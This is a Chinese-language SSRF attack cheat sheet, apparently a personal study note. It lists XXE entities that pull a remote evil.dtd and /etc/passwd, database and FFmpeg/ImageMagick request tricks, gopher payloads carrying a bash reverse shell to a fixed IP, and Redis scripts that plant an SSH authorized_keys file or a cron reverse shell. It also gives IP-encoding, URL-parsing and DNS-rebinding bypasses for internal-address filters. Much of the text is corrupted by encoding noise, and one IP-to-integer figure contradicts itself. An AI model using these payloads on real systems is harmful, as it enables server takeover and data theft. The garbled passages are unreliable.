全稱
Server-Side Request Forgery
服務(wù)器端請求偽造净响,是一種經(jīng)攻擊者構(gòu)造形成由服務(wù)端發(fā)起請求的一個安全漏洞少欺。
SSRF形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容馋贤,加載指定地址的圖片赞别,下載等等。
可利用的點
節(jié)選自豬豬俠的《build your ssrf framework》
XML
DTD Remote Access
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
XML 外部實體
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM "http://wuyun.org/?le?data=%?le">
URL調(diào)用
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://wuyun.org/urlin">
-
數(shù)據(jù)庫自帶的訪問網(wǎng)絡(luò)的功能
MongoDBdb.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
Oracle
select UTL_HTTP.REQUEST('http://'||(select version from v$nstance)||'test.com') from dual
PostgresSQL
SELECT dblink_send_query('host=127.0.0.1 dbname=quit user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n' password=1 port=6379 sslmode=disable', 'select version();');
MSSQLSELECT openrowset('SQLOLEDB','server=192.168.1.5;uid=sa;pwd=sa;database=master')
SELECT * FROM OpenDatasource('SQLOLEDB','Data Source=ServerName;User ID=sa;Password=sa').Northwind.dbo.Categories
POST http://couchdb-server:5984/_replicate
Content-Type: application/json
Accept: application/json
{ "source" : "recipes",
"target" : "dict://redis.wuyun.org:6379/?ushall",}
- 應(yīng)用系統(tǒng)中設(shè)置遠程服務(wù)器的功能
- 文件處理配乓、編碼處理仿滔、屬性信息處理(應(yīng)用系統(tǒng)的自動預(yù)覽功能)
- FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
- ImageMagick (mvg)
fill 'url(http://wyssrf.wuyun.org)'
- XML parsers ( XSLT ) XSLT包含了100個內(nèi)置函數(shù)(能訪問網(wǎng)絡(luò)惠毁?)
document() include() import()
- FFmpeg
- python urllib http頭注入,好像是哪個cve崎页?
利用如下的urlhttp://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:ur10ser/test
服務(wù)器返回
GET /test HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :ur10ser
Connection: close
協(xié)議擴大攻擊面
主要攻擊 redis鞠绰、discuz、fastcgi飒焦、memcache蜈膨、內(nèi)網(wǎng)脆弱應(yīng)用這幾類應(yīng)用,主要利用gopher
協(xié)議牺荠,以及file
翁巍、dict
。
dict://fuzz.wuyun.org:8080/helo:dict
file:///etc/passwd
注意
大部分 PHP 并不會開啟 fopen 的 gopher wrapper
file_get_contents
的 gopher 協(xié)議不能 UrlEncode
file_get_contents
關(guān)于 Gopher 的 302 跳轉(zhuǎn)有 bug志电,導(dǎo)致利用失敗
curl/libcurl 7.43
上 gopher 協(xié)議存在 bug(%00 截斷)曙咽,7.45以上無此bug
curl_exec()
默認不跟蹤跳轉(zhuǎn),
file_get_contents()
支持php://input
協(xié)議
java中支持的協(xié)議更為有限挑辆,file ftp mailto http https jar netdoc
例朱,比較有用的就file和http協(xié)議了。
構(gòu)造Gopher載荷
gopher可以向任何端口發(fā)送任意形式的請求鱼蝉,構(gòu)造方法與http類似洒嗤。基本結(jié)構(gòu)如下:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
比如http的POST請求魁亦,在gopher中是這樣的
gopher://test.com/_POST /exp.php HTTP/1.1%0d%0aHost: test.com_ip%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null
以喜聞樂見的redis為例渔隶。替換成自己的redis IP和端口。
上傳公鑰的腳本
(echo -e "\n\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n\n") > upload.txt
cat ~/upload.txt | redis-cli -h $1 -p $2 -x set tmp
redis-cli -h $1 -p $2 -x config set dir /root/.ssh
redis-cli -h $1 -p $2 -x config set dbfilename authorized_keys
redis-cli -h $1 -p $2 -x get tmp
redis-cli -h $1 -p $2 -x save
redis-cli -h $1 -p $2 -x quit
反彈shell的腳本
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
用socat監(jiān)聽4444端口洁奈,將流量轉(zhuǎn)發(fā)到6379端口间唉,同時會把請求流量記錄到文件
socat -v tcp-listen:4444,fork tcp-connect:192.168.70.128:6379 2>&1|tee socat.log
執(zhí)行腳本 bash shell.sh 127.0.0.1 4444
,圖略
為了將流量轉(zhuǎn)化為gopher協(xié)議利术,先了解下socat記錄tcp流的格式:
-
>
開頭一行表示客戶端發(fā)送了一個tcp包 -
<
開頭一行表示服務(wù)器返回了一個tcp包
基于以上格式呈野,要這么轉(zhuǎn)換
- 字符串
\r
替換成%0d%0a
- 空白行替換為
%0a
- 空格替換成
%20
- 再使用
urlencode
(給php時會做一次decode,curl再做一次decode)
....
# 判斷倒數(shù)第2印叁、3字符串是否為\r
if line[-3:-1] == r'\r':
# 如果該行只有\(zhòng)r被冒,將\r替換成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的換行符
line = line.replace('\n', '')
exp = exp + line
# 判斷是否是空行,空行替換為%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace(' ', '%20')
line = line.replace('\n', '')
exp = exp + line
exp=quote(exp)
如果是單次請求如php fastcgi
轮蜕,可以考慮用nc -lvvp 9000>1.txt
來轉(zhuǎn)儲請求包
繞過
數(shù)字地址繞過
一般來說昨悼,開發(fā)者會使用正則對傳入的URL進行匹配,過濾掉內(nèi)網(wǎng)IP跃洛,比如:
192.168.*.*
率触、10.0.*.*
等。
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-
5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
四位點分十進制形式的IP地址127.0.0.1
代表一組32位二進制數(shù)碼汇竭,如果合在一起再轉(zhuǎn)換成一個十進制數(shù)的話葱蝗,答案就是1945096731痊剖。
127*256^3
+0*256^2
+0*256^1
+1*256^0
=
1929379840+15663104+53760+27=2130706433
比如:百度的IP地址“119.75.218.77”轉(zhuǎn)換成數(shù)字地址就是“2001459789”
可以改變ip的寫法來繞過,各進制可以互相混用
- 8進制格式:0300.0250.0.1
- 16進制格式:0xC0.0xA8.0.1
- 10進制整數(shù)格式:3232235521
- 16進制整數(shù)格式:0xC0A80001
xip.io
和nip.io
這是一個神奇的域名垒玲,nslookup 127.127.127.127.xip.io
看看
利用URL解析的問題
完整的URL scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]
許多URL方案保留某些特殊含義的字符:字符“;”,“/”找颓,“合愈?”,“:”击狮,“@”佛析,“=”和“&”可以保留用于方案內(nèi)的特殊含義。在方案中不能保留其他字符彪蓬。
分號(“;”)和等于(“=”)保留字符通常用于分隔適用于該段的參數(shù)和參數(shù)值寸莫。逗號(“,”)保留字符通常用于類似目的档冬。
http://www.baidu.com@192.168.1.1
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/
http://127.88.23.245:22/+&@google.com:80#+@google.com:80/
http://google.com:80+&@google.com:80#+@127.88.23.245:22/
http://127.88.23.245:22/?@google.com:80/
http://127.88.23.245:22/#@www.google.com:80/
其他辦法
- URL任意跳轉(zhuǎn) 找到一個子域名或者白名單域名的任意跳轉(zhuǎn)
- 重定向
- 利用符號膘茎,比如點號換成句號,或者利用
Enclosed alphanumerics
-
Dns Rebinding
自建DNS服務(wù)器酷誓,服務(wù)端第一次進行解析返回的是內(nèi)網(wǎng)ip披坏,繞過驗證之后,真正發(fā)起請求時解析的結(jié)果反而是外網(wǎng)ip盐数。域名的ttl時間要設(shè)置為0
測試工具
https://github.com/swisskyrepo/SSRFmap 整合了常見的內(nèi)網(wǎng)應(yīng)用的攻擊面
https://github.com/iamultra/ssrfsocks 顧名思義棒拂,利用SSRF+Gopher做成一個socks代理
https://github.com/tarunkant/Gopherus 構(gòu)造常見的內(nèi)網(wǎng)應(yīng)用的gopher請求
修復(fù)建議
限制請求的協(xié)議為http或者https?
提取host玫氢,驗證ip是否為內(nèi)網(wǎng)帚屉?
好像并沒有什么好的修復(fù)方法。
參考
https://blog.chaitin.cn/gopher-attack-surfaces/
https://www.cnblogs.com/mrchang/p/6254634.html
https://github.com/cujanovic/SSRF-Testing 有轉(zhuǎn)換ip的腳本
https://anemone.top/ssrf-SSRF%E6%88%90%E5%9B%A0%E3%80%81%E6%94%BB%E5%87%BB%E5%92%8C%E9%98%B2%E5%BE%A1/